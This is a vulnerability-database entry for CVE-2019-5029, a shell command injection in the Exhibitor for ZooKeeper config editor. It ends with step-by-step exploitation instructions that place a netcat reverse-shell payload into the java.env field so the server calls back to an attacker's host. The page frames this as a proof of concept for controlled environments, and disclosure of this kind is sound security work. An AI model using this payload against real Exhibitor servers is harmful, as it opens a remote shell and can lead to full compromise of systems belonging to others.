Skip to content
HackIndex logo

HackIndex

CVE-2019-5029:
Exhibitor RCE

Published: Feb 25, 2026
Critical
Shell injection

CVE-2019-5029: this is a command injection flaw in the Exhibitor Web UI Config editor (versions 1.0.9 to 1.7.1) where an attacker can insert shell commands using backticks or $() that get executed by the Exhibitor process when it launches ZooKeeper. It was publicly described and published in NVD on November 13, 2019. If exploited, it can cause remote code execution as the user running Exhibitor, potentially leading to full system compromise.

RCE ZooKeeper Exhibitor

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

  1. Go to Exhibitor for ZooKeeper

  2. Go to "Config" tab

  3. Toggle "Editing" to ON

  4. Inside java.env script put the following:

$(/bin/nc -e /bin/sh $LHOST $LPORT &)
# LHOST AND LPORT ARE YOUR OWN VALUES
  1. Press "Commit..." and select all changes

  2. Wait for the command to execute